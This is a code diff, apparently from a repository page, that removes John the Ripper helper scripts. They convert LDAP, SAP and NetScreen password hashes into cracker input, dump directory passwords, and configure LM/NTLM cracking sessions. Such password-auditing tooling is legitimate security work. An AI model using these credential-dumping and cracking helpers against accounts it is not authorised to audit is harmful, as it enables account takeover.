#exec("$JOHN -format:netlm -config:$tmpconf -external:HalfLM -incremental:LM -session:$tmpsession $tmppasswd");
|
||||
|
||||
unlink $tmppasswd || warn("Failed to unlink $tmppasswd -- $!");
|
||||
}
|
||||
else {
|
||||
print STDERR "\nNo seed supplied for testing.\n";
|
||||
}
|
||||
|
||||
#print STDERR "Removing temporary files and directory\n";
|
||||
unlink $tmpconf, $tmplog, $tmpsession, $tmpsessionlog || warn("Failed to unlink temporary config files -- $!");
|
||||
rmdir("/tmp/john.$$") || warn("Failed to delete temporary john directory -- $!");
|
||||
}
|
||||
|
||||
exit(0);
|
||||
|
||||
sub createConf {
|
||||
my $tmpconf = "/tmp/john.$$/john.conf";
|
||||
open(CONF, ">$tmpconf") || die("Failed to open $tmpconf: $!");
|
||||
|
||||
# Define character keyspace
|
||||
print CONF "[Incremental:LM]\n";
|
||||
print CONF "File = \$JOHN/lanman.chr\n";
|
||||
print CONF "MinLen = 1\n";
|
||||
|
||||
# John compiled for MaxLen <= 8
|
||||
if (14 - length($opt{'seed'}) > 8) {
|
||||
print CONF "MaxLen = 8\n";
|
||||
} else {
|
||||
print CONF "MaxLen = ", 14 - length($opt{'seed'}), "\n";
|
||||
}
|
||||
print CONF "CharCount = 69\n\n";
|
||||
|
||||
# Add external filter to handle uncracked characters
|
||||
if ($opt{'seed'} ne "") {
|
||||
my $i; $j;
|
||||
my @seed = split(//, $opt{'seed'});
|
||||
|
||||
print CONF "[List.External:HalfLM]\n";
|
||||
print CONF "void init()\n";
|
||||
print CONF "{\n";
|
||||
print CONF " word[14] = 0;\n";
|
||||
print CONF "}\n\n";
|
||||
|
||||
print CONF "void filter()\n";
|
||||
print CONF "{\n";
|
||||
|
||||
my $len = length($opt{'seed'});
|
||||
for ($i = 13, $j = 13 - $len; $i>=0; $i--) {
|
||||
if ($i >= $len) {
|
||||
print CONF " word[$i] = word[$j];\n";
|
||||
$j--;
|
||||
} else {
|
||||
print CONF " word[$i] = \'$seed[$i]\';\n";
|
||||
}
|
||||
}
|
||||
|
||||
print CONF "}\n\n";
|
||||
}
|
||||
|
||||
# Add custom wordlist to utilize NTLM hash for character case cracking
|
||||
print CONF "[List.Rules:Wordlist]\n";
|
||||
print CONF ":\n";
|
||||
print CONF "-c T0Q\n";
|
||||
print CONF "-c T1QT[z0]\n";
|
||||
print CONF "-c T2QT[z0]T[z1]\n";
|
||||
print CONF "-c T3QT[z0]T[z1]T[z2]\n";
|
||||
print CONF "-c T4QT[z0]T[z1]T[z2]T[z3]\n";
|
||||
print CONF "-c T5QT[z0]T[z1]T[z2]T[z3]T[z4]\n";
|
||||
print CONF "-c T6QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]\n";
|
||||
print CONF "-c T7QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]\n";
|
||||
print CONF "-c T8QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]\n";
|
||||
print CONF "-c T9QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]\n";
|
||||
print CONF "-c TAQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]\n";
|
||||
print CONF "-c TBQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]\n";
|
||||
print CONF "-c TCQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB]\n";
|
||||
print CONF "-c TDQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB]T[zC]\n";
|
||||
|
||||
close(CONF);
|
||||
|
||||
return $tmpconf;
|
||||
}
|
||||
|
|
@ -1,132 +0,0 @@
|
|||
##################################################################
|
||||
# Filename: netscreen.py
|
||||
#
|
||||
# Please note this script will now run in Python version 3.x
|
||||
#
|
||||
# This script will generate a netscreen formatted password
|
||||
#
|
||||
# This program requires two command line arguments, and works in two modes:
|
||||
# Mode 1:
|
||||
# The first argument is a username
|
||||
# The second argument is a plaintext password
|
||||
# Mode 2:
|
||||
# The first argument is -f to indicate reading usernames and passwords from a file
|
||||
# The second argument is the filename to read
|
||||
#
|
||||
# The input file should have one of the following formats (a "," or ":" separator):
|
||||
# <username>,<plain-text-password>
|
||||
# or
|
||||
# <username>:<plain-text-password>
|
||||
#
|
||||
# (Don't put a "space" after the separator, unless it is part of the password)
|
||||
#
|
||||
# Example input file:
|
||||
# admin,netscreen
|
||||
# cisco:cisco
|
||||
# robert,harris
|
||||
#
|
||||
# Output will be the username and hashed password in John the Ripper format
|
||||
# If reading usernames and passwords from a file, the output file name will be: netscreen-JtR-output.txt
|
||||
# If the file netscreen-JtR-output.txt exists, it will be overwritten.
|
||||
#
|
||||
# Version 2.04
|
||||
# Updated on September 13, 2010 by Robert B. Harris from VA and Brad Tilley
|
||||
# Updated to now run in Python v3.x (still works in Python 2.x)
|
||||
# Additional separator for the input file. It can now have the new separator ":" (or use the old one ",")
|
||||
# Now correctly handles a separator ("," or ":") in the password field when reading from a file.
|
||||
# Updated help text in script
|
||||
#
|
||||
# Version 2.01
|
||||
# Updated on August 30, 2010 by Robert B. Harris from VA
|
||||
# Very minor changes, removed tab, noted it won't run in python 3.x
|
||||
#
|
||||
# Version 2.0
|
||||
# Updated on August 12, 2010 by Robert B. Harris from VA
|
||||
# Updated to use the hashlib library
|
||||
# Updated to print help text if both input arguments are missing
|
||||
# Updated to optionally read from a file
|
||||
#
|
||||
##################################################################
|
||||
|
||||
import sys
|
||||
|
||||
def net(user, password):
|
||||
b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|
||||
middle = "Administration Tools"
|
||||
s = "%s:%s:%s" % (user, middle, password)
|
||||
|
||||
# For versions of Python 2.5 and older
|
||||
if sys.version_info[0] == 2 and sys.version_info[1] < 6:
|
||||
import md5
|
||||
m = md5.new(s).digest()
|
||||
else:
|
||||
import hashlib
|
||||
m = hashlib.md5(s.encode('latin_1')).digest()
|
||||
|
||||
narray = []
|
||||
for i in range(8):
|
||||
if sys.version_info[0] == 2:
|
||||
n1 = ord(m[2*i])
|
||||
n2 = ord(m[2*i+1])
|
||||
narray.append( (n1<<8 & 0xff00) | (n2 & 0xff) )
|
||||
|
||||
if sys.version_info[0] == 3:
|
||||
n1 = ord(chr(m[2*i]))
|
||||
n2 = ord(chr(m[2*i+1]))
|
||||
narray.append( (n1<<8 & 0xff00) | (n2 & 0xff) )
|
||||
res = ""
|
||||
for i in narray:
|
||||
p1 = i >> 12 & 0xf
|
||||
p2 = i >> 6 & 0x3f
|
||||
p3 = i & 0x3f
|
||||
res = res + b64[p1] + b64[p2] + b64[p3]
|
||||
|
||||
for c, n in zip("nrcstn", [0, 6, 12, 17, 23, 29]):
|
||||
res = res[:n] + c + res[n:]
|
||||
return res
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) == 3:
|
||||
if (sys.argv[1])== "-f": # If true, reading from a file
|
||||
in_file = (sys.argv[2]) # 2nd commandline arg is the filename to read from
|
||||
input_file = open( in_file, 'r')
|
||||
output_file = open ("netscreen-JtR-output.txt" , 'w')
|
||||
import re
|
||||
for line in input_file:
|
||||
data=line.strip('\n')
|
||||
if re.search(',',line):
|
||||
data=data.split(',',1) # line contains ,
|
||||
else:
|
||||
if re.search(':',line):
|
||||
data=data.split(':',1) # line contains :
|
||||
else:
|
||||
print ("\n\n\n")
|
||||
print ("Error in input file.")
|
||||
print ("The input file must have either a \",\" or \":\" separator on each line.")
|
||||
print ("Also it should not contain any blank lines. Please correct the input file.")
|
||||
break
|
||||
username = data[0]
|
||||
password = data[1]
|
||||
ciphertext = net(username,password)
|
||||
output_file.write ("%s:%s$%s" % (username,username,ciphertext))
|
||||
output_file.write ("\n")
|
||||
input_file.close()
|
||||
print("\nThe output file has been created.")
|
||||
output_file.close()
|
||||
else: # We are not reading from a file
|
||||
username = sys.argv[1]
|
||||
password = sys.argv[2]
|
||||
ciphertext = net(username,password)
|
||||
print(("%s:%s$%s" % (username,username,ciphertext)))
|
||||
else: # User did not input the required two commandline arguments
|
||||
print("\n\n")
|
||||
print("This program requires two commandline arguments:")
|
||||
print("The first argument is a username, or -f to indicate reading from a file.")
|
||||
print("The second argument is a plaintext password, or the name of the file to read from.")
|
||||
print("See the additional text at the beginning of this script for more details.\n")
|
||||
print("Output will be the username and the (Netscreen algorithm based) hashed password, in John the Ripper format. \n\n")
|
||||
print("Example")
|
||||
print("Input: netscreen.py admin netscreen")
|
||||
print("Output: admin:admin$nKv3LvrdAVtOcE5EcsGIpYBtniNbUn")
|
||||
print("(Netscreen uses the username as the salt)")
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
|
|
@ -1,89 +0,0 @@
|
|||
#!/usr/bin/perl -w
|
||||
# Usage: sap_prepare.pl csv-input sap-codeB-output sap-codevnG-output
|
||||
# csv-input: XLS-exported table USH02 or USR02
|
||||
# tab-speparted e.g. column 4:username column 17:bcode column 24:codvn G
|
||||
# sap-codeB-output: username:username<spaces>$bcode
|
||||
# sap-codevnG-output: username:Username<spaces>$codvnG
|
||||
#
|
||||
# (all other formats with the right column names should work)
|
||||
# sap uses the username as salt. those have different length, so we needed to come up w/ our
|
||||
# own format. that is: username<space-padding-to-40>$HASHCODE
|
||||
#
|
||||
# evil spaghetti code, but works. sorry for the eye cancer ;-)
|
||||
|
||||
$SALT_LENGTH = 40;
|
||||
|
||||
if ($#ARGV != 2) {
|
||||
die ("usage = $0 csv-input sap-codeB-output sap-codevnG-output \n");
|
||||
}
|
||||
|
||||
open INPUT_FILE, "$ARGV[0]" or die ("Can't open input-file ($ARGV[0])\n");
|
||||
open CODEB_FILE,">>$ARGV[1]" or die ("Can't open codeb-file ($ARGV[1])\n");
|
||||
open CODEG_FILE,">>$ARGV[2]" or die ("Can't open codeg-file ($ARGV[2])\n");
|
||||
|
||||
print "data from >>$ARGV[0]<<\nto sap-codeB-output: >>$ARGV[1]<<\n";
|
||||
print "and sap-codevnG-output: >>$ARGV[2]<<\n\n";
|
||||
|
||||
$line = "";
|
||||
$pos_bname=-1;
|
||||
$pos_codeb=-1;
|
||||
$pos_codeg=-1;
|
||||
$count=0;
|
||||
|
||||
until ($line =~ /BNAME/) {
|
||||
$line=<INPUT_FILE>;
|
||||
$count++;
|
||||
}
|
||||
|
||||
chomp($line);
|
||||
@tmp = split(/\t/, $line);
|
||||
|
||||
for ($i=0;$i<=$#tmp;$i++) {
|
||||
if ($tmp[$i]=~ /BNAME/) { $pos_bname=$i }
|
||||
elsif ($tmp[$i]=~ /BCODE/) { $pos_codeb=$i }
|
||||
elsif ($tmp[$i]=~ /PASSCODE/) { $pos_codeg=$i }
|
||||
}
|
||||
print "Column: $#tmp BNAME: $pos_bname BCODE: $pos_codeb PASSCODE: $pos_codeg\n";
|
||||
|
||||
if (-1==$pos_bname || (-1==$pos_codeg && -1==$pos_codeb ) ) {
|
||||
print "BNAME column not found OR both hash-columns are missing \n";
|
||||
exit 0;
|
||||
}
|
||||
|
||||
while ($line=<INPUT_FILE>) {
|
||||
$count++;
|
||||
chomp($line);
|
||||
@tmp = split(/\t/, $line);
|
||||
if ($#tmp<$pos_bname || ($#tmp<$pos_codeb && $#tmp<$pos_codeg)) {
|
||||
print "******** line $count in csv file has the wrong format ********\n";
|
||||
next;
|
||||
}
|
||||
if ($pos_codeg!=-1 && $tmp[$pos_codeg]=~/[a-zA-Z0-9]/) { # both hashes
|
||||
print "username: $tmp[$pos_bname] codeB: $tmp[$pos_codeb] codeG: $tmp[$pos_codeg] \n";
|
||||
$strN = $tmp[$pos_bname];
|
||||
$strSALT = "$strN"." "x($SALT_LENGTH-length($tmp[$pos_bname]));
|
||||
$strB = "$tmp[$pos_codeb]";
|
||||
$strG = "$tmp[$pos_codeg]";
|
||||
print CODEB_FILE "$strN:$strSALT\$$strB\n";
|
||||
print CODEG_FILE "$strN:$strSALT\$$strG\n";
|
||||
}
|
||||
elsif ($pos_codeb!=-1 && $tmp[$pos_codeb]=~/[a-zA-Z0-9]/ ) { # only bcode
|
||||
print "username: $tmp[$pos_bname] codeB: $tmp[$pos_codeb] \n";
|
||||
$strN = $tmp[$pos_bname];
|
||||
$strSALT = "$strN"." "x($SALT_LENGTH-length($tmp[$pos_bname]));
|
||||
$strB = "$tmp[$pos_codeb]";
|
||||
print CODEB_FILE "$strN:$strSALT\$$strB\n";
|
||||
}
|
||||
else {
|
||||
print "******** line $count in csv file has the wrong format ********\n";
|
||||
}
|
||||
}
|
||||
|
||||
close INPUT_FILE;
|
||||
close CODEB_FILE;
|
||||
close CODEG_FILE;
|
||||
|
||||
print "\nDone!\n";
|
||||
exit 0;
|
||||
|
||||
|
||||
|
|
@ -1,23 +0,0 @@
|
|||
#!/usr/bin/perl
|
||||
|
||||
use Net::LDAP;
|
||||
|
||||
$server = $ARGV[0];
|
||||
$password = $ARGV[1];
|
||||
|
||||
$ldap = Net::LDAP->new($server) || die "$@";
|
||||
$ldap->bind("cn=Directory Manager", password => $password) || die "$@";
|
||||
$search = $ldap->search(base => "o=test",
|
||||
scope => "subtree",
|
||||
filter => "(uid=*)");
|
||||
|
||||
$search->code && die $search->error;
|
||||
|
||||
$i=0;
|
||||
foreach $user ($search->all_entries) {
|
||||
@uid=$user->get("uid");
|
||||
@pass=$user->get("userpassword");
|
||||
print $uid[0].":".$pass[0].":".
|
||||
$i.":".$i.":/".$uid[0].":\n";
|
||||
}
|
||||
$ldap->unbind();
|
||||
|
|
@ -1,19 +0,0 @@
|
|||
#!/usr/bin/perl
|
||||
# http://www.perl.com/CPAN-local/modules/by-module/MIME/MIME-Base64-2.06.tar.gz
|
||||
# http://www.perl.com/CPAN-local/modules/by-module/SHA/SHA-1.2.tar.gz
|
||||
|
||||
use MIME::Base64;
|
||||
use SHA;
|
||||
if ("SHA-1" ne &SHA::sha_version) { die "wrong SHA version\n"; }
|
||||
$sha = new SHA;
|
||||
|
||||
$label = "{SHA}";
|
||||
$count = 1;
|
||||
while(<>) {
|
||||
chomp;
|
||||
$hash = $sha->hash ($_);
|
||||
printf ("%s:%s%s:%d:%d:%s:/home/%s/:\n",
|
||||
$_, $label, encode_base64 ($hash . $salt, ""), $count, $count,
|
||||
$_, $_);
|
||||
$count++;
|
||||
}
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
|
|
@ -1 +0,0 @@
|
|||
john
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,78 +0,0 @@
|
|||
#!/usr/bin/ruby -w
|
||||
|
||||
require 'getoptlong'
|
||||
|
||||
def help
|
||||
puts "Usage: #{$0} [options]"
|
||||
puts "\t-h --help\t\tthis help."
|
||||
puts "\t-f --file\t\toutput file."
|
||||
puts "\t-n --num\t\tcharset: 0123456789"
|
||||
puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz"
|
||||
puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
puts "\t-l --alphanum\t\tcharset: alpha + num"
|
||||
puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num"
|
||||
puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*"
|
||||
puts "\t-c --custom"
|
||||
puts "\nExample:\n"
|
||||
puts "#{$0} -f stats -s"
|
||||
puts "#{$0} -f stats -c \"0123abc+=\""
|
||||
exit
|
||||
end
|
||||
|
||||
ch_alpha = 'abcdefghijklmnopqrstuvwxyz'
|
||||
ch_num = '0123456789'
|
||||
ch_sp = '!@#$+=.*'
|
||||
|
||||
opts = GetoptLong.new(
|
||||
[ '--help', '-h', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT],
|
||||
[ '--all', '-s', GetoptLong::NO_ARGUMENT],
|
||||
[ '--num', '-n', GetoptLong::NO_ARGUMENT],
|
||||
[ '--alpha', '-a', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ],
|
||||
[ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ]
|
||||
)
|
||||
|
||||
charset = nil
|
||||
filename = "stats_out"
|
||||
|
||||
opts.each do |opt, arg|
|
||||
case opt
|
||||
when '--help'
|
||||
help
|
||||
when '--file'
|
||||
filename = arg
|
||||
when '--num'
|
||||
charset = ch_num
|
||||
when '--alpha'
|
||||
charset = ch_alpha
|
||||
when '--alphamaj'
|
||||
charset = ch_alpha.capitalize
|
||||
when '--alphanum'
|
||||
charset = ch_alpha + ch_num
|
||||
when '--alphanummaj'
|
||||
charset = ch_alpha.capitalize + ch_num
|
||||
when '--all'
|
||||
charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp
|
||||
when '--custom'
|
||||
charset = arg
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if charset == nil
|
||||
help
|
||||
end
|
||||
|
||||
|
||||
fstat = File.open(filename, "w")
|
||||
charset.each_byte do |c|
|
||||
fstat.write("1=proba1[#{c.to_s}]\n")
|
||||
charset.each_byte do |tmp|
|
||||
fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n")
|
||||
end
|
||||
end
|
||||
fstat.close
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,25 +0,0 @@
|
|||
#!/usr/bin/perl
|
||||
|
||||
$i=1;
|
||||
|
||||
while(<>) {
|
||||
chomp;
|
||||
if(/^$/) {
|
||||
if($object{"uid"} ne "") {
|
||||
print $object{"uid"}.":";
|
||||
print $object{"userPassword"} ne "" ? $object{"userPassword"} : "*";
|
||||
print ":";
|
||||
print $i.":";
|
||||
print $i.":";
|
||||
print $object{"cn"}.":";
|
||||
print $object{"homeDirectory"} ne "" ? $object{"homeDirectory"} : "/";
|
||||
print ":/bin/sh\n";
|
||||
}
|
||||
%object = ();
|
||||
$i++;
|
||||
next;
|
||||
}
|
||||
|
||||
($lhs, $rhs) = split(/: /);
|
||||
$object{$lhs} = $rhs;
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue